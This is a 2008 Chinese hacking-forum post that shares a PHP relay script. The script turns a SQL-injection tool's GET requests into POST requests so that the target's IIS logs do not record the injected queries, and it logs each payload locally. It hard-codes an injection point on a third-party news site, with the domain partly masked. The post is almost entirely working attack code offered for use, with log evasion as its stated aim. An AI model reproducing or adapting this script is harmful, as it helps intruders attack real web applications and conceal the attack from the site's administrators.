标题:
[分享]
LT写的PHP转发脚本,隐藏入侵时的IIS日志
[打印本页]
作者:
fcts1230
时间:
2008-7-22 15:14
标题:
LT写的PHP转发脚本,隐藏入侵时的IIS日志
由于IIS服务器对来自get的url访问会记录到日志文件。但改为post提交就可以避免这个问题
LT写的PHP脚本用于数据包转发,这样可以将get转为post,还可以对注入工具提交的语句进行记录、过滤、修改和分析。
脚本如下
<?
if(!$a) exit; //没有参数时退出
$a=stripslashes($a); //去除转义符“\”
$f=fopen ("sql_log.txt","a"); //打开文件
fwrite ($f,$a."<br>\n\n"); //写入文件
fclose ($f); //关闭文件
$url="http://www.c*********.com/NewsContent.asp"; //注入点的url
$data[NewsCode]=$a; //注入点的参数
echo HTTP_Post($url,$data); //POST数据,并把结果显示出来
function HTTP_Post($URL,$data, $referrer="") {
// parsing the given URL
$URL_Info=parse_url($URL);
// Building referrer
if($referrer=="") // if not given use this script as referrer
$referrer="111";
// making string from $data
foreach($data as $key=>$value)
$values[]="$key=".urlencode($value);
$data_string=implode("&",$values);
// Find out which port is needed - if not given use standard (=80)
if(!isset($URL_Info["port"]))
$URL_Info["port"]=80;
// building POST-request:
$request.="POST ".$URL_Info["path"]." HTTP/1.1\n";
$request.="Host: ".$URL_Info["host"]."\n";
$request.="Referer: $referer\n";
$request.="Content-type: application/x-www-form-urlencoded\n";
$request.="Content-length: ".strlen($data_string)."\n";
$request.="Connection: close\n";
$request.="\n";
$request.=$data_string."\n";
$fp = fsockopen($URL_Info["host"],$URL_Info["port"]);
fputs($fp, $request);
while(!feof($fp)) {
$result .= fgets($fp, 128);
}
fclose($fp);
return $result;
}
?>
<FORM METHOD=get action="?">
<INPUT TYPE='text' NAME='a' value='' size=80>
<br>
<INPUT TYPE='submit' value='确定'>
</FORM>
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)
Powered by Discuz! 7.2